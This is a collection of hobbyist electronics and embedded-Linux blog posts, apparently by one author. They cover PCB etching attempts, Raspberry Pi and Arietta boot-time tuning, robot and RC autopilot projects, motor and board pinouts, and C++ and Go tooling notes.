Try 1: HP M252dw, laminator @ 10 mm, 4 times through, Migros-brand T-Shirt transfer paper. Some transfer but lots left behind. Tape melted with heat? Learn: rotate image to make better use of paper. Transfer paper goes hatches down in paper tray.

Try 2: HP, iron, transfer paper. Iron: max temp, no steam, 30s in place, 2m total. Too much movement, smeared. Transfer paper has a sticky layer (by design?) which melted. Lesson: T-shirt transfer paper is not usable.

Try 3: HP, iron, glossy IKEA catalog pages. Iron: as #2. Paper reports as jammed.

Try 4: HP, iron, HP Q5451A photo paper. I wrapped the paper around the PCB, which makes it rise. Paper sticks to the iron when heated. Result: little toner transferred.

Try 4: Samsung, iron, HP Q4551A photo paper. Result: little toner transferred.

Try 5: PCB coated with blue spray paint, 40W laser to remove the paint. Result: a thin film is left on the copper. Trying to remove the film also removes the paint. Too higher power also shrinks the tracks. Result is insensitive to power level so lower is better.

So, no luck yet. I’ve ordered some PCBfx toner transfer paper and TRF foil. I’ve also ordered a small batch from Dirty PCBs to see what the turn around time is like. It may be worth it for the detail and lack of mess.

juju.net.nz/michaelh on IPFS

Sun, 09 Jul 2017 15:01:26 +0200

The short story is that this blog is now available on IPFS at https://juju.net.nz/ipns/juju.net.nz/michaelh/ and https://gateway.ipfs.io/ipns/juju.net.nz/michaelh/

This is done by generating the blog a second time with ipfs/ as the basepath, changing to relative links, and then adding and updating the name as part of the buildbot script. Hugo has relative and canonical link support but it seems inconsistent, and it’s hard to resist a sed script…

I quite like how you can map ownership across DNS and IPFS using a TXT record.

Raspberry Pi Zero boot speed

Sun, 02 Jul 2017 11:46:07 +0200

I enjoy working on embedded systems, but there’s a significant amount of work you have to do in getting the platform ready before getting to the more interesting business logic. The Raspberry Pi Zero W solves most of these problems: it’s small, has decent I/O, a decent price ($10 + $6 for storage + $4 for shipping) and runs full Linux so I can use my current language of choice.

One problem is boot speed. It’s common to power cycle an embedded project so a long boot time slows down the build/test cycle. A long boot time can also affect the safety of the system.

Because of this, I had a hack on the Raspbian boot time. The .target units are boot milestones such as basics ready, filesystem ready, and networking ready. systemd-analyze plot shows where the time went and what was running in parallel such as:

$ grep target boot-2.svg
<text class="left" x="390.802" y="94.000">remote-fs-pre.target</text>
<text class="left" x="391.128" y="114.000">cryptsetup.target</text>

As a bonus, the x attribute is the time in centi-seconds the span started which makes it easer to measure.

The biggest savings were through disabling unneeded services and switching from /etc/init.d/networking to systemd-networkd. The final boot order was:

giving:

2.70 s before userspace.
3.91 s is the earliest a no-dependency service can start. Useful for any safety response.
7.42 s to local-fs: filesystem is up and usable
7.94 s to basic
17.8 s to network up. Includes the wifi and DHCP time so network dependent.

Moving from ext4 to f2fs made no difference. There’s probably another 1 s to be saved through shrinking the kernel and, say, moving USB to a module so it can init later.

Update

I switched to a custom kernel with no printk() and USB as a module. I also switched from the Debian services to things like systemd-timesyncd and disabling the Debian dhcpcd. Times now are:

0.80 s before userspace.
1.70 s is the earliest a no-dependency service can start. Useful for any safety response.
5.11 s to local-fs: filesystem is up and usable
5.88 s to basic
7.03 s to network - although it’s hard to tell if the network is up

cxx17: working through Cracking the Coding Interview

Tue, 27 Jun 2017 22:02:42 +0200

I’m working my way through Cracking the Coding Interview as a way of learning the new features and tool ecosystem of C++17.

Q1.9 reminded me of those games where you need to make a shape by drawing straight lines through dots. The trick with those games is to realise that you can draw outside the (implicit) bounds of the dots themselves. For Q1.9, the trick is to realise that you can concat the test string as any rotation will be a substring of the repeated string.

I’m quite happy with the expressiveness of C++17 (with ranges-v3) so far. The solution to Q1.9 looks like:

return (lhs + lhs).find(rhs) != std::string::npos;

which is very Pythonic.

C++ in 2017

Sun, 25 Jun 2017 16:05:04 +0200

michaelh@juju.net.nz 2016-06-25 https://juju.net.nz/michaelh/project/cxx17/

Overview

This project is to revisit C++ in 2017 and see how it compares to my recent experiences in Go.

Background

I’ve written significant amounts of code in C, ‘C with objects’ style C++, Python, and (recently) in Go. I quite like Go and especially the tooling around it, but miss things like generic containers from C++ and optional values (i.e. value or None) from Python.

Requirements

Find the state-of-the-art implementations of my favourite features from Go and Python and exercise them. These features are:

A fast build / run cycle
A package manager with a decentralised namespace
Unit tests with automatic discovery
Run-time inspection, especially being able to inspect a struct for fields.
A light-weight / low configuration build system
Easy cross compiling, especially for Raspbian
Type free string formatting with positional args
Documentation stored with the code

From Go:

Strict by default
No explicit memory managemnt
One True Way of formatting and tools to automatically reformat
Cheap threads and channels so it’s easy to spawn a statemachine and push/pull events to/from it.

From Python:

Optionals (i.e. value or None)
Functional style programming via lists and comprehensions

From other places:

Dependency injection

My favourite control surfaces are:

Prometheus for monitoring
logfmt for structured logging that can be grepped
YAML or INI for a config language

Prefer using features that come with C++17 over external libraries. Prefer systems that can be self-hosted.

Implementation

The candidates to test are:

conan.io
gtest
Folly
Boost, especially Boost::Hana
range-v3
fmt
rxcpp
yaml-cpp
Doxygen
Sphinx
rapidjson: has a DOM model and schema validator
json11: simple, consise
gtest
doctest / Catch

Deliverables

How do we know when we’re done?

Milestones

Chunky steps along the way

Milestone	Week	Result
M1	W1	All foos have bars barred
M2	W3	All bazs are frobbed

Risks and mitigations

What are the risks, likelyhood, impact, and ways of handling them?

Alternatives considered

Do nothing…

Appendix

Building c11.cc:

7.9s with gcc-6.3
7.4s with clang-4.0 (with a link failure, so not exactly the same)

spdbt

Mon, 15 May 2017 13:16:02 +0200

michaelh@juju.net.nz 2017-05-15 https://juju.net.nz/michaelh/project/spdbt/

Overview

A fast indoor mousebot for playing with rover control and navigation.

Background

Context that led to this project.

Requirements

What the project must fufill.

Implementation

spdbt is made from parts I already have which are:

Raspberry Pi Zero W
Picon Zero I/O board
C270 USB camera
FIT0441 12 V 159 RPM motor
HC-450 3S LiPo (~30x55x18) with XT connectors (similar to this)
Pololu 5V regulator D24V22F5
ST7735 1.8” 160x128 LCD

Deliverables

The deliverables are:

OpenSCAD models for the mechanicals
Ansible rules for configuring the rover
Firmware for the rover
If needed, updated firmware for the Picon Zero
Photos showing the assembly

Milestones

Chunky steps along the way

Milestone	Week	Result
M1	W1	All foos have bars barred
M2	W3	All bazs are frobbed

Risks and mitigations

What are the risks, likelyhood, impact, and ways of handling them?

Alternatives considered

Do nothing…

Appendix

FIT0411 pinout

Blue (left most): PWM. Take to GND for full speed.
Black: GND / Supply negative
Yellow: Direction
Green: encoder output. ~680 Hz at full speed
Red (right most): 12V

Picon Zero pinout

Source: https://github.com/4tronix/PiconZero

Protocol: http://heeed.net/a-few-notes-on-i2c/

TODO(michaelh): uses software PWM using a delay(). Check the accuracy especially during transfers.

Pins are {6, 7, 8, 11}, {9, 10, 2, 3, 4, 5}. Good news with software PWM is any pin can do any function.

On the Arduino, 3, 5, 6, 9, 10, and 11 can be hardware PWM. So 3, 5, 9, and 10 are available on the servo headers. 4, 5 are T0 and T1 to the counter unit so keep these free.

D24V22F5 pinout

Corner of board:

PG (power good)
EN (enable, enabled by default)
VIN
GND
VOUT

go packages on your own domain

Sun, 16 Apr 2017 21:00:59 +0200

go get has a nice feature where it will fetch the package URL and, based on a meta tag, redirect to the actual location.

Here’s the nginx config I use to redirect go get juju.net.nz/x/package to either my private repo (for unreleased stuff) or my cgit instance for everything else. This is similar to how golang.org/x/... and gobot.io/x/... operate.

server {
        ...
        location ~ /x/(.*) {
                if (-d /home/juju/p/git/$1.git) {
                        return 200 '<meta name="go-import" content="$host$uri git ssh://juju@$host/~juju/p/git/$1.git">\n';
                }
                if (-d /home/juju/git/$1.git) {
                        return 200 '<meta name="go-import" content="$host$uri git $scheme://$host/src/$1.git">\n';
                }
                return 404;
        }
}

As a bonus this means I could, say, shift the code to github without breaking existing code.

pipoint

Wed, 15 Mar 2017 20:40:46 +0100

michaelh@juju.net.nz 2017-03-15 https://juju.net.nz/michaelh/project/pipoint/

Overview

An automatic camera pointer that keeps a rover like a model aircraft in the center of the frame.

Background

Some time ago I set up a camera, pointed it at the sky, and recorded as I flew my model plane about. It was quite cool, but the plane covers so much area that most of the video was of blue sky.

Requirements

The system shall be able to keep the following rovers in frame:

A 1 m wingspan model aircraft flying at 100 km/h at 50 m to 200 m range
A 1/10th scale model car driving at 40 km/h at 20 m to 100 m range

The system shall support a standard field configuration, where the rover says to the left, in front, or to the right of the operator but never goes behind.

The pointer shall support point a GoPro-class camera, especially a ~60 g Turnigy HD ActionCam with a 170” lens.

To minimise development time, prefer re-using existing hardware and software platforms.

To minimise hardware integration time, prefer a system with fewer parts.

Doing a round trip to test the system takes some time. To minimise the round trips:

In-field setup shall be minimised
The hardware, software, and parameters shall be readily modifable
The system shall support near real time debugging and tuning

The system shall use my standard tooling which is Go, Git, Ansible, Prometheus, and Buildbot for CI.

Implementation

The system shall consist of:

A PixFalcon Micro and GPS on the rover
A 433 MHz telemetry link
A Rasperry Pi 3 based base station
A Lynx B servo based Pan and Tilt Kit
A Linux laptop for display and control

The components are:

A Wifi accesspoint used as link when in the field
A Wifi client used as link at home
mavlink as the protocol
mavproxy to bridge between serial and UDP
gobot as the framework

The modes are:

Locate. The base station uses the rover’s GPS and compass to locate the base station itself.
Run. The base station receives the rover’s location, calculates the camera angle, and sends commands to the servos.

The support systems are:

Fast runtime configuration. The settings can be edited without interrupting the app. Idea: use spf13/viper
Commands (like to switch modes) are sent over REST.

The core abstraction is a parameters. These have an age and fire events when updated. A set of parameters may be updated as a group and events will fire at the end. Parameters have the same basic API as spf13/viper.

Servo control is via PWM. The PWM pins are:

PWM0: GPIO18 / pin 12
PWM1: GPIO19 / pin 35

Instructions on enabling these via DTB are here.

Test plan

The inital at-base checks are:

Check that the battery packs can run the electronics and servos
Check connectivity via the access point
Check the rover manual control
Check the remote battery
Check that rover telemetry is received by the base
Check that the GPS can lock and is received by the base
Check the camera battery and storage

The in-field checks are:

Repeat at-base
With the rover at the base, mark the base location
Save this location as default
Manually drive the rover ~10 m away at 0 deg to the base
Adjust the pan offset to point

Deliverables

The deliverables are:

TODO

Milestones

TODO

Milestone	Week	Result
M1	W1	All foos have bars barred
M2	W3	All bazs are frobbed

Risks and mitigations

TODO

Alternatives considered

Do nothing…

Appendix

Issues

GPS seems to be sampled at 2.5 Hz, and sometimes arrives earlier or later.

DFRobot FIT0441 pinout

Fri, 25 Nov 2016 21:25:00 +0000

I ordered two FIT0441 brushless motors for use in v2 of my balancing robot. The DFRobot wiki page on the motor is incorrect so I thought I’d blog about it so someone else can find it 🙂

The motor comes with a 5 pin JST-SH cable with a white end and a black end. The white end goes to the motor. When looking from the back of the motor with the socket at the 6 o’clock position, the wires are:

Blue (left most): PWM. Take to GND for full speed.
Black: GND / Supply negative
Yellow: Direction
Green: encoder output. ~680 Hz at full speed
Red (right most): 12V

Note that the black end has a completely different order.

To make the motor spin, connect 12V to Black and Red and short Blue to GND. To make it spin in the opposite direction, short Yellow to GND.

ESP8266 IO bridge

Sun, 23 Oct 2016 18:58:04 +0000

github.com/eriksl/esp8266-universal-io-bridge looks cool – it exposes the I/O of a ESP8266 wifi module including the GPIO, I2C, PWM, ADC, and UART via a line based telnet interface.

A toy PL/0 compiler

Thu, 25 Aug 2016 19:54:44 +0000

I’ve released a toy compiler for the PL/0 educational language at https://juju.net.nz/src/cgit.cgi/pl0.git/ or https://github.com/nzmichaelh/pl0.

I did this as, despite working with compilers for a fair part of my life, I’d never written one from scratch. I chose PL/0 as it was designed by a local legend, Niklaus Wirth, who is also the creator of Pascal and Modula-2.

Maker Faire Bodensee

Sun, 26 Jun 2016 10:15:44 +0000

We went to Maker Faire Bodensee on the weekend. The kids spent so much time with Paula Pongratz’s Post-apocalyptic jewlery that they missed most of the rest (heh).

Other standouts were the breadboard / pus pin based electronic organ from [

Elektronikmuseum Tettnang] 3 and the marshmallow building challenge by Toolbox BODENSEE. I also want to have a look into the Minecraft smart-home, Nodebots, and Freifunk.

Sending music over light

Sun, 17 Apr 2016 15:20:43 +0000

Someone recently mentioned that you can ‘hear’ a TV remote control by hooking a solar panel to a speaker and pointing the remote at it. It was a rainy weekend this weekend, so my son and I gave it a go:

https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/04/VID-20160417-162947-3.m4v

The circuit is simple: a solar panel from a toy, a ~1 Hz RC highpass filter to get rid of the DC component, and an amplified speaker for the output. The noise is the code that the remote is sending to the TV which is roughly 700 Hz for one remote and 400 Hz for the other.

The next step is to see if you can send music over light. With a bit more circuitry, you can:

https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/04/Sending-music-over-light-1.m4v

I used a LM386 to bias the LED to be normally on. The bias is set by a potentiometer on one of the differential inputs with the MP3 player on the other. Setting the bias too high or too low causes clipping due to the LED turning off or the amplifier hitting the 5 V supply rail. It sounds really good – well, at least as the small speaker lets it.

ArduRover based nppilot log

Sun, 14 Feb 2016 00:00:00 +0000

Day 1

Controller brownout when accelerating. I can reproduce this on the bench by gunning the throttle with the wheels off the ground. The documentation suggests that the power module is designed for 3S batteries, not the 2S equivalent that my 7.2 V NiMH packs are. Powering off just the cars BEC shows the same problem.

Solution: remove the power module. Add a small LiPo with a switchmode BEC to the controllers servo rails.

Oversteering at a corner.

Day 2

Plan:

Figure out how to restart the log.
Profile the speed versus demand curve.
Increase the standard speed to 4 m/s.
Reduce the steering gain to reduce oversteering.
Brake at the end of the run
See how the throttle stick changes speed on Auto
- Should be throttle_base + throttle_nudge + pid(speed error)
- PID is PID(speed error in m/s * 100) / 100
- Range is 0 .. 100
- Speed is from ground_speed, which is from either the EKF or GPS.
Calibrate centre on the steering
- startup_ground calls trim_radios at startup which stores the steering trim (yay!)
Test the throttle range
Check if the motor controller can be calibrated: seems not, but the stick position on power on sets neutral.
See if it can beep more
See when the waypoints get cleared
- Based on the trainer switch release.
- In manual, should log ‘Erasing waypoints’
  - If roll is full right then also sets home
- In training, sets waypoint. Prints ‘Learning waypoint’
- In auto, goes to RTL (return to landing)
See if the log can be restarted on a signal
- Logs if log_bitmask & MASK_LOG_WHEN_DISARMED, but never stops the log.
The main metrics are

1650=4m/s span=1500-1900 Changes:

Turn on COMPASS_LEARN
Set GPS_NAVFILTER to Automotive

To investigate:

GCS_PID_MASK: mask of PIDs to send PID_TUNING messages for
- Defaults off
- No obvious speed version. Not obvious where the message is defined.
Can arm / disarm using the rudder - right to arm, left to disarm; while the throttle is in the deadzone

Web connected NeoPixel ring

Sun, 07 Feb 2016 16:04:36 +0000

It’s taken a while (as you can tell from the date on the box), but here’s my web connected NeoPixel ring:

https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/02/Vid-20160207-165253-1.m4v

Chroma trail: a comet with a trail that cycles through the colours of the rainbow.

I had to turn the brightness down so the camera didn’t saturate, as you can see in the next one:

https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/02/raindrops.mp4

Raindrops: randomly coloured drops that fade away.

This is a WRTnode board running a Python server. The patterns are loadable Python code. For a limited time, the server is available here. Try /pattern for a list, and /pattern/name/run to run one.

Fading text on an OLED screen

Thu, 04 Feb 2016 21:18:10 +0000

Here’s my hack of the moment: text fading in on a OLIMEX 128×64 OLED display. The interesting bit is that this is a TTF font which is rendered by SDL2 into a buffer, dithered into black and white using Floyd-Steinberg error diffusion, and then written out using the Intel IoT upm display driver. Optimizing the bulk write routine got the frame rate up from ~4 FPS to ~15 FPS.

https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/02/oled.mp4

LPC810 Hacking

Wed, 20 Jan 2016 00:00:00 +0000

The LPC810 is a Cortex-M0+ in a 8 pin PDIP.

PIO0_5 /RESET   (o   )  PIO0_0 U0_RXD
PIO0_4 U0_TXD   (    )  Vss
PIO0_3          (    )  Vdd
PIO0_2          (    )  PIO0_1 /ISPEN

Adding buttons on the Linkit Smart

Sun, 10 Jan 2016 20:25:58 +0000

Here’s what I found out while trying to add buttons to the OpenWrt based Linkit Smart.

The flow is:

Keys are defined in target/linux/ramips/dts/LINKIT7688.dts

gpio-button-hotplug emulates gpio-keys-polled and generates uevents.

The uevent is received onver netlink by procd in plug/hotplug.c

The event is dispatched via /etc/hotplug.json
- The standard dispatch rule calls /etc/rc.buttons/$BUTTON
The DTS fragment is:
```
gpio-keys-polled {
```

… btn2 { label = “btn2”; gpios = <�gpio0 2 1>; linux,code = <0x102>; };

where the `<&#038;gpio0 2 1>` picks the second pin from the zeroth port i.e. GPIO 2 and

maps it to BTN_2. See [`uapi/linux/input.h`][6] for the other key codes.
                
gpio-button-hotplug supports a limited number of keys. See the source for the

current list, which is `BTN_0` to `BTN_9`, `power`, `reset`, `rfkill`, `wps`, and `wwan`.
                
Also, the LinkIt uses a binary wifi driver which seems to be _very_ sensitive to

the kernel version. I ended up reverting [`363508bcabd8e9205f5fffc8ff282439e61d618f`][7]

to bring OpenWrt back to 3.18.21 to stop it crashing when the interface comes up.

Hack of the day: scrolling text

Sun, 03 Jan 2016 19:04:36 +0000

I did a quick hack today and wrote a scrolling text app for an Adafruit 8×8 LED display I had lying about:

https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/01/udisplay-with-scrolling-text.mp4

The app is written in C++ using the Intel mraa I/O library (which looks pretty good) and running on a WRTNODE MIPS dev board with OpenWrt. The interesting bit is the text rendering: I started with a 6×8 bitmap font then added automatic width detection, blitting for rendering to the buffer, and blitting for rendering a scrolling window on the buffer to the display.

The next step is to add a web app so you can post messages from the Internet. What could go wrong?

The Boost libraries

Fri, 01 Jan 2016 21:11:01 +0000

I’ve been hacking on a personal project to make it easier to expose HTTP based devices that are behind a restrictive NAT or firewall. The code needs to run on a OpenWrt based MIPS board 1 which limits my language choice – Python3 is out as it’s too big, and Go on MIPS32 via gccgo on OpenWrt is… tricky 2.

I ended up writing the app in C++ and I’ve been quite impressed with C++14 and the Boost libraries. Especially:

boost::optional for covering the optional results without having to use tricks like err == -1 or result == nullptr.
- boost::algorithm::string for string splitting and trimming.
  - boost::asio for all of your event or blocking based network programming needs.
    - boost::program_options for command line option parsing and validation.
      - boost::asio::coroutine for a very readable implementation of Duff device based coroutines.
        
        std::unique_ptr / std::shared_ptr for sane memory management.
        Generous use of auto, lambdas, and using keep the code reasonably terse as well.
        
        1 I also have two of the $12.90 LinkIt Smart 7688 boards on their way. A good price for a 580 MHz Linux CPU on a DIP carrier with Wifi, RAM, and 32 MiB of flash.
        
        2 gccgo enables libffi, which assumes floating point registers, but the OpenWrt kernel turns off FP emulation by default and enforces it through binutils flags.

Serial to NeoPixel bridge

Sun, 25 Oct 2015 20:55:15 +0000

I’m hacking on a project to hook a NeoPixel ring up to the internet. I don’t have a good reason why, but it’s a good excuse to work with OpenWrt, TURN servers, and some blinking lights.

NeoPixels are fairly hard to drive as they use a single wire, 800 kHz, non-return-to-zero protocol which needs precise timing. I decided to push the problem off into a

Olimex ATTINY85 board that takes serial data on one side and updates the ring on the other.

Here’s a video of a two chasers with a little bit of tail blur. The main loop is written in Python, which renders the chasers and writes them out at 57600 baud:

https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/10/VID_20151025_212428.mp4

Next step is to get approval to release the source code.

Z-84 flying wing

Sat, 03 Oct 2015 15:49:55 +0000

Hobbyking had a free shipping promotion recently, so I picked up a Wing Wing Z-84 flying wing like all the cool kids have.

It’s quite fun if a bit noisy. The 1500 mAh 2S batter lasts 15 minutes, which is crazy long, and it’s quite interesting how a pusher propeller changes climbs and loops – you need momentum as there’s no propeller to caster under.

Next step is to change the motor controller for the one that the PX4 team recommends and have a look for a quieter prop.

No luck on flying

Sun, 30 Aug 2015 11:09:30 +0000

Looks like the plane is too heavy. It took off OK on the first try, but I couldn’t get it to lift on five goes past that. The first flight was probably due to the little bit of extra voltage a freshly charged battery has.

I did some measurements and the plane with autopilot is 1130 g, which is 255 g / 30 % higher than the design flying weight of 875 g. 110 g of that is in the MDF plate and 50 g is in my usual higher capacity batteries.

Next step is to redo the plate in polystyrene. I’m tempted to follow Z-8’s instructions and change the prop to a APC 10×7 E and upgrade the motor to a Super Tigre .10. The Super Tigre has a higher constant power (320 W vs 210 W), is a drop in replacement, and as a bonus saves 50 g.

Edit: annnd I crashed it 🙂 I fitted a 10×7 prop and new receiver and got the elevator direction wrong. The good news is the 10×7 makes the plane leap away. The bad news is it lept away into the ground…

Trojan+PX4 ready to fly

Fri, 28 Aug 2015 19:06:27 +0000

I picked up yet another board to try in my never-complete car autopilot project. This time it’s a Pixhawk PX4 (from ETH here in Zurich, woo!) with a FrSky PPM receiver, u-blox GPS, and 433 MHz telemetry mounted on my trusty P-28 Trojan.

Laser cutters are awesome. The baseboard that everything is mounted on was made by taking a basic sketch and measurements, drawing it in Inkscape, then cutting it out of 3 mm MDF (we were out of plywood…) on the laser cutter at work. Fast and accurate.

I’ll fly it tomorrow. The software has stabalisation, altitude hold, and a waypoint engine. It can also auto takeoff and auto land but that’s not a good idea on the grass without rangefinder.

New rover board

Sun, 12 Jul 2015 20:17:14 +0000

I have this long term, never complete project to make a self driving RC car. I’m making progress on the third reboot and finished up the rover board today:

On the board is a NAZE32 running Cleanflight for the sensors and real time control, a GPS, a Frsky receiver, a Beaglebone Black for logging, and a Adafruit LCD for status.

The big changes with this reboot is moving the control software to a realtime controller instead of embedded Linux and adding a display and Wifi for a much faster test and debug cycle.

NAZE32

Sun, 12 Jul 2015 00:00:00 +0000

The NAZE32 is a STM32 based flight controller. I own a rev5 version with the baro and magnetic compass that would be a great sensor and controller board for nppilot. This page has notes on the hardware itself.

The schematic is hard to find. The rev4 schematic is mirrored here. The CPU is a STM32F103CBT6 in a 48 pin package.

Basics

The two main connectors are the motor and receiver blocks. PPM input is on RX1.

UARTs

UART1: pin 30, 31 to the CP2102
UART2: pin 12, 13 to RC_CH3, RC_CH4
UART3: pin 21, 21 mapped to SCL, SDA (so unusable)
UART1: pin 42 (TX), 43 (RX) to PWM3, PWM4 (motor block)

The other remaps aren’t brought out on the 48 pin chip.

Bone v2

Wed, 08 Jul 2015 00:00:00 +0000

I’m using a small, no-name RT5370 from ebay. It’s not fast but it is compatible and reliable, unlike the other three adapters that I have.

Disable interface renaming:

cd /etc/udev/rules.d; ln -sf /dev/null 70-persistent-net.rules

Note that you can’t just delete the file as systemd recreates it.

Setup /etc/network/interfaces:

allow-hotplug wlan0
iface wlan0 inet dhcp
    pre-up sleep 2
    pre-up rfkill unblock all
    wpa-ssid "your-ssid-here"
    wpa-psk  "your-password-here"

Note that during the boot, systemd seems to randomly set the rfkill bit which causes dhcpclient to show ‘300 byte’ errors. The sleep; unblock hack works around this. sleep to work around race conditions FTW!

Update the kernel:

cd /opt/scripts/tools
git pull
apt-cache search linux-image bone
./update_kernel.sh --kernel 4.1.1-bone9

Enabling ports

See https://eewiki.net/display/linuxonarm/BeagleBone+Black for building the device tree overlays.

 echo BB-UART1 > /sys/devices/platform/bone_capemgr/slots

The pinouts are at http://elinux.org/Beagleboard:Cape_Expansion_Headers#4.5_Serial_UARTs

Adafruit 1.8” display

There seems to be probles with SPI on the 4.1 kernel and the 3.14 kernel is missing the cape manager. 3.8 works fine though.

https://github.com/notro/fbtft/wiki/LCD-Modules#adafruit-18

GND      1
VCC      2
RST      3 -> 15 (GPIO48)
DC       4 -> 23 (GPIO49)
CARD_CS  5
LCD_CS   6 -> 17
MOSI     7 -> 18
SCK      8 -> 22
MISO     9
LITE     10 -> VCC


echo BB-SPIDEV0 > /sys/devices/bone_capemgr*/slots
modprobe -f fb_st7735r
modprobe -f fbtft_device name=adafruit18 busnum=1 gpios=reset:48,dc:49
con2fbmap 1 1

1.8″ LCD support for the ESP8266

Sun, 17 May 2015 18:21:14 +0000

I’ve ported the Adafruit 1.8″ LCD driver to the new-ish Arduino ESP8266 port and done an optimisation pass. Short story is that the demo that comes with the board is down from 6083 ms to 3424 ms, and big operations like fill screen is down from 1454 ms to 157 ms. Hurray for FIFOs and better bus utilisation!

I’m quite impressed with the Arduino port: the group have done a lot of work on the completeness, speed, and in porting the standard libraries like the SD FAT support I plan to use for logging.

My goal is to restart my self driving RC car project with a NAZE32 as the controller board and an ESP8266 as logging, display, and telemetry. Let’s see how far I get this time 🙂

Pin to native mapping for the Teensy LC

Sun, 03 May 2015 19:43:56 +0000

I’m hacking on porting NuttX to the Teensy LC instead of using PJRC’s excellent Arduino support. For reference, here’s the Arduino pin mapping to the native pin:

0 PTB16
1 PTB17
2 PTD0
3 PTA1
4 PTA2
5 PTD7
6 PTD4
7 PTD2
8 PTD3
9 PTC3
10 PTC4
11 PTC6
12 PTC7
13 PTC5
14 PTD1
15 PTC0
16 PTB0
17 PTB1
18 PTB3
19 PTB2
20 PTD5
21 PTD6
22 PTC1
23 PTC2
24 PTE20
25 PTE21
26 PTE30

This was made by running core_pins.h through the C preprocessor.

Machines

Sun, 22 Mar 2015 00:00:00 +0000

crucis

Thinkpad R500 P8600 HD3470

Uses PC3-8500 / DDR3-1066

orion

ASUS 1215B

Uses DDR3 PC3-10600 2 x SO-DIMM

Spare

Kingston KVR800D2S5/2G: 2GB 256M x 64-Bit DDR2-800 CL5

Elpida 1GB 2Rx16 RC2-6400S-666

Broadcom BCM94231MC 802.11n.

Impressed with NodeMCU

Fri, 06 Feb 2015 19:34:25 +0000

NodeMcu is a Lua interpreter with a good set of support libraries for the far-too-cheap ESP8266. I’m impressed with how easy it is to script up a Wifi connected thermometer using a DS18B20 1-wire thermometer, MQTT for publishing, and Wifi to a OpenWRT router for the transport.

Have a look at the NodeMcu git repo for the bundled libraries which include a JSON parser, MQTT, spifs, and software based I2C, 1-wire, and PWM drivers.

It’s very RAM hungry though. I had a hack and got it up to 25 k of free heap, but that’s only just enough for a single device and MQTT connection.

Fast-ish boot for the Arietta

Thu, 22 Jan 2015 20:09:07 +0000

A while ago I posted about cutting the ACME Arietta boot time down from ~30 s to ~4 s. Here’s the hacks I did to get there.

After the kernel has finished initialising it runs ‘init’ which is responsible for setting up the system and starting any services. ‘init’ has the concept of runlevels including runlevel S (initial startup), runlevel 2 (normal operation) and runlevel 6 (reboot). You can configure what init does when it enters a runlevel, including changing it from running a bunch of generic scripts to running a single, specific, and much faster script.

So that’s the trick: change init from executing all of the scripts in /etc/rc2.d/ and instead have it run your own /etc/init.d/rc2.

The first step is to change the init config file /etc/inittab. As a diff:

-l2:2:wait:/etc/init.d/rc 2
+l2:2:wait:/etc/init.d/rc2

Then create a file holding helper functions, including a log function that’s useful when timing individual steps:

/etc/init.d/rc.common:

PATH=/sbin:/usr/sbin:/bin:/usr/bin
export PATH

umask 022

start() {
        echo "+ $@..."
        $@
}

Overwrite the initial startup script /etc/init.d/rcS with:

#!/bin/busybox sh

. /etc/init.d/rc.common

start mount -t proc /proc /proc
start mount -t sysfs /sys /sys
start mount -o remount,rw /
start mount -t tmpfs none /run
mkdir -p /run/network /run/lock

start mount -a
start hostname $(cat /etc/hostname)

#start /etc/init.d/udev start
echo > /sys/kernel/uevent_helper
start udevd --daemon
start udevadm trigger --action=add
start udevadm settle --timeout=0

# PENDING: Load modules.
# PENDING: sysctl
# PENDING: urandom

start ifconfig lo 127.0.0.1 netmask 255.0.0.0 up

and finally create /etc/init.d/rc2 to start your services and perhaps application:

#!/bin/busybox sh

. /etc/init.d/rc.common

make_mac() {
    echo 00$(echo $HOSTNAME $@ | md5sum | cut -b -10)
}

# Ethernet
start modprobe g_ether use_eem=0 dev_addr=$(make_mac dev) host_addr=$(make_mac host)
start ifconfig usb0 192.168.10.10 netmask 255.255.255.0 up

# OpenSSH
mkdir -p /var/run/sshd
chmod 0755 /var/run/sshd
start /usr/sbin/sshd

# Finished!
echo uptime: `cat /proc/uptime`

Make sure the files are executable (chmod +x ...).

The make_mac() function is used to give the USB ethernet gadget a fixed MAC address instead of generating a random one at each boot. This makes setting a static IP address in Chrome OS easier.

Note that I’m using busybox as the shell. It’s really small so should be quick to load and run. Run sudo apt-get install busybox to get it.

Fiddling with init scripts is a good way to break the boot. The easiest way to fix a problem is to put the SD card into your laptop and edit the files directly.

Click here for a tarball of the files.

Serial to Wifi board hacking

Thu, 11 Dec 2014 21:15:14 +0000

I’m having fun with my Olimex ESP8266 dev board. For ~5 Euro you get a 80 MHz processor, built in Wifi, a bunch of I/O, and “IoT” style libraries with a RTOS. This is the same chip that’s used on the serial to Wifi boards but with all of the I/O broken out. I especially like how they use half-holes on the edges to also make it PCB mountable.

So far I’ve only built the community run toolchain and loaded the blinky example onto it. The photo shows the boot mode switch, FTDI serial interface, and cables off to the 3.3 V supply.

Next step is to turn the LED on and off from a web form.

Citizen

Sun, 02 Nov 2014 00:00:00 +0000

A balancing robot written in Go and running on ARM Linux.

Mod list

Changes to make:

Move the gyro down between the wheels. Reduces the acceleration seen due to falling.

Other robots

There’s a ton out there.

lil-bot uses the same motors (MG-6-48) but with encoders. 7xAA so 8.4 V to 10.5 V. 100 Hz control loop. MPU-6050 with 2 % complementary filter. Has a err**2 term as well.

v1

v1 can balance but poorly. The big differences were:

Better pitch measurement through a complementary filter. Gives the absolutes of the accelerometers and noise rejection of the gyros.
Integral control to respond quicker to small offsets.

Things I also changed:

PWM rate up to 10 kHz
Control loop up to 100 Hz
Gyro bias removal. The gyro had a 0.34 deg/s bias.

Things to check:

The gyro scale might be wrong and might be over reporting the angle.
The deadband on the motors is quite bad and is probably hurting the small tilt response. I might be able to kick the motors to start things turning then return to the demanded speed.
Is the gyro saturating?
I2C speed
Add voltage compensation?

v0

v0 is done but doesn’t really work. Issues:

The motors have a high deadband and are too high speed.
The pitch is based off the accelerometers only and seems very noisy.
The motors are independant, so at low drive sometimes one will start and the other stay still.

Next steps:

Measure the CPU load
Measure the pitch while standing upright and steady
Investigate complementry filters to combine the gyro and accelerometers
Investigate the IMUs advanced features to see if it already gives a good pitch
Profile the motors to see if I can lower the deadband (dither?)
Check I2C rate is 100 kHz or higher.

Notes:

